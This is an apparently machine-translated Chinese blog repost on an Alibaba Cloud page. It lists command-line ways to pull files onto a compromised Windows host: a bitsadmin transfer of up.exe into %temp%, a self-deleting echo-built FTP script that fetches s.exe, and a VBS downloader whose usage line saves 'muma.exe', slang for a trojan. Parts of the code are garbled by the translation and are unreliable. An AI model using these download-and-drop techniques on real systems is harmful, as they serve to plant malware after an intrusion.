Station Library detach-command line download file

Source: Internet
Author: User

All use system default third party or script not to discuss

Window

BITSAdmin:

bitsadmin/transfer N [url]http://baidu.com/up.exe[/url]%temp%\up.exe

Ftp:

echo Open 127.0.0.1 > O&echo user 123 123123123 >> o &echo get s.exe >> o &echo quit >&G T o &ftp-n-s:o &del/f/q o

vbs

Set Xpost = CreateObject ("Microsoft.XMLHTTP") Xpost.open "GET", wscript.arguments (0), 0 ' download file address Xpost.send () Set Sget = CreateObject ("ADODB. Stream ") Sget.mode = 3 Sget.type = 1 Sget.open () sget.write (xpost.responsebody) SG Et. SaveToFile wscript.arguments (1), 2

usage: cscript wget.vbs URL muma.exe

Linux

Wget


Of course, you can use scripts like Python Prel Ruby and so on.

This article is from the "Sanr" blog, make sure to keep this source http://0x007.blog.51cto.com/6330498/1661860

Station Library detach-command line download file

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.